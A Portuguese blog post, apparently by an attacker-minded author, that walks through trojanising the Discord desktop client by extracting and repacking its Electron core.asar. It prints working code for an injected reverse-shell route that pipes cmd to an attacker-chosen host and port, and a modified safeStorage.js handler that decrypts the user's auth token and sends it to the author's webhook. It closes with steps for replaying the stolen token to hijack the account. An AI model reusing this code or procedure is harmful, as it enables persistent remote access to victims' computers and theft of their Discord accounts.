drocsid.asar
“Shock me like an electric eel“
Depois do meu ultimo post utilizando o Discord como engenharia social, decidi focar em tentar encontrar um vetor de ataque pelo discord. Os principais motivos foram:
- O Discord é utilizado por milhares de pessoas
- Após a instalação, o Discord por padrão é iniciado sempre que o Windows inicia.
- Ele é feito em Electron
O principal ponto aqui é o framework utilizado para a geração do software, o Electron. Quando você compila um software utilizando o Electron, é comum que você utilize uma lib chamada asar para compactar em um único arquivo as dependências do software (códigos javascript).
Partindo desse principio, comecei a vasculhar as pastas de instalação do Discord, procurando por arquivos com a extensão .asar. Encontrei 2 deles:
- app.asar
- core.asar
Esses arquivos não possuem todo o código fonte do Discord, pelo que entendi, eles são como um Adapter para o ambiente que estão rodando. Ou seja, eles servem para se comunicar com o sistema operacional, todo o código principal do Discord, aparentemente é armazenado em outros arquivos (ou vem da nuvem?).
Para fazermos a "engenharia reversa" nos arquivos, bata ter a lib asar instalada globalmente e depois utilizar o comando:
$ asar extract <asar-file-path.asar> <extracted-folder>
Após a leitura do código, levantei alguns arquivos interessantes e entendi mais ou menos o fluxo desses dois arquivos. Comecei a fazer alguns testes inserindo logs, gerando um novo arquivo .asar e executando o Discord pelo CMD para ver os logs.
Código para gerar o .asar
const asar = require("asar")
const main = async () => {
await asar.createPackage("./app", "app.asar")
}
main()
Depois de identificar que a injeção de código estava funcionando. Dividi em duas partes o ataque.
- De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord
- Capturar o token de autenticação da vítima, para executar um roubo de sessão.
Malware
O malware que vou desenvolver, será feito em NodeJS (pelas mesmas razões que utilizei no meu último post). O propósito dele é que quando for executado, ele faça a "engenharia reversa" nos arquivos, injete os códigos necessários, depois gere um novo arquivo .asar e substitua os arquivos que o Discord utiliza.
1. De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord
Após extrair o arquivo .asar, criei um arquivo dentro da pasta /app/common nesse arquivo tem um código que será executado toda vez que o Discord for aberto.
Tentei criar um script para abrir uma porta TCP na máquina da vítima e export ela na internet através de um tunnel. Porém, o Discord "crashava" toda vez que executava o código. Dessa forma, montei o fluxo abaixo para criar um tunnel HTTPS de uma API criada na máquina da vítima e através dessa API, forçar uma conexão reversa com a minha máquina de ataque.
O código injetado irá criar uma API na máquina da vítima expondo uma rota que receberá 2 parâmetros na url:
- host - IP ou hostname da máquina de ataque
- port - Porta utilizada para a conexão reversa
Após receber os parâmetros, eles são utilizados no script abaixo:
app.get("/rev", (req, res) => {
const { port, host } = req.query
;(function () {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("cmd", [])
var client = new net.Socket()
client.connect(port, host, function () {
client.pipe(sh.stdin)
sh.stdout.pipe(client)
sh.stderr.pipe(client)
})
return /a/
})()
})
Para minha máquina de ataque saber qual a URL da API da vítima, o script envia um webhook para um servidor do Discord, com as seguintes informações:
Basta acessar pelo navegador a URL: https://tunnel/rev?host=<HOST>&port=<PORT>, passando nos parâmetros os valores referentes a máquina de ataque.
2. Capturar o token de autenticação da vítima, para executar um roubo de sessão.
A captura de sessão me lembra os tempos de Orkut, onde era possível enviar um scrap para uma pessoa e quando essa pessoa visualizava o recado, era executado um código javascript no navegador da vítima que capturava os cookies do Orkut e enviava para um servidor php. Quando inseriamos esses cookies no nosso navegador, tinhamos acesso total na conta do Orkut da vítima.
Essa mesma ideia será replicada aqui no Discord, a diferença é que o código malicioso estará injetado na aplicação.
Dentro da pasta /app/discord_native/browser, existe um arquivo chamado safeStorage.js, esse arquivo possui um evento que é chamado quando a aplicação acessa uma informação salva nesse "banco". Essa string possui um encode Base64, para vermos o valor real, basta fazer o decode:
// core\app\discord_native\browser\safeStorage.js
electron.ipcMain.on(SAFE_STORAGE_DECRYPT_STRING, (event, encrypted) => {
if (encrypted) {
try {
console.log("vai enviar o token")
require("../../../common/test").sendToken(JSON.stringify(electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))))
console.log("enviou o token")
event.returnValue = electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))
} catch {
event.returnValue = null
}
} else {
event.returnValue = null
}
})
O token é enviado para o meu canal do Discord:
Depois basta abrir uma página anônima e executar os passos:
- Acessar a url https://discord.com/login
- Abrir o Devtools
- Ir para a página onde podemos visualizar o Local Storage e selecionar no Devtools, a opção "Device Toolbar"
- Criar um novo registro com o nome token e o valor dele será o token capturado "token"
- Atualizar a página
Repositório: em breve